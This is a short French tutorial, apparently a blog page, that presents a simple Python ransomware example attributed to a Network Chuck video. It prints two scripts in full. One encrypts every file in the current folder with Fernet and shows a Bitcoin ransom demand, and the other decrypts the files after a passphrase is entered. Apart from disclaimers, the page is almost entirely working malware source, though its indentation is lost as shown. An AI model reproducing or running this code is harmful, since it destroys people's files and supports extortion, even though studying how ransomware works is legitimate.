Malware en python
La curiosité n’est pas un vilain défaut mais une qualité fondamentale.
Cet exemple est la pour comprendre le fonctionnement d'un ransonware à titre éducatif, je retire toutes responsabilités en cas de problème chez vous ou à un tier.
Source : Network Chuck, Je crée un malware en python, trop facile
Ce script va crypter tout les fichiers du dossier courant (sauf voldemort.py, decrypt.py et thekey.key)
vim voldemort.py
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
files = []
for file in os.listdir():
if file == "voldemort.py" or file == "thekey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)
key = Fernet.generate_key()
with open("thekey.key","wb") as thekey:
thekey.write(key)
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)
print("I have encrypt your files, give me 100.000 Bitcoins or I delete your files")
vim decrypt.py
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
files = []
for file in os.listdir():
if file == "voldemort.py" or file == "thekey.key" or file == "decrypt.py" :
continue
if os.path.isfile(file):
files.append(file)
print(files)
with open("thekey.key","rb") as key:
secretkey = key.read()
secretphrase = "coffee"
user_phrase = input("Enter the secret phrase to decrypt your files\n")
if user_phrase == secretphrase:
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(secretkey).decrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)
print("Congrats, your're files are decrypted. Enjoy your coffee")
else:
print("Sorry, wrong secret phrase. Send me more Bitcoins")
Cet exemple est la pour comprendre le fonctionnement d'un ransonware à titre éducatif, je retire toutes responsabilités en cas de problème chez vous ou à un tier.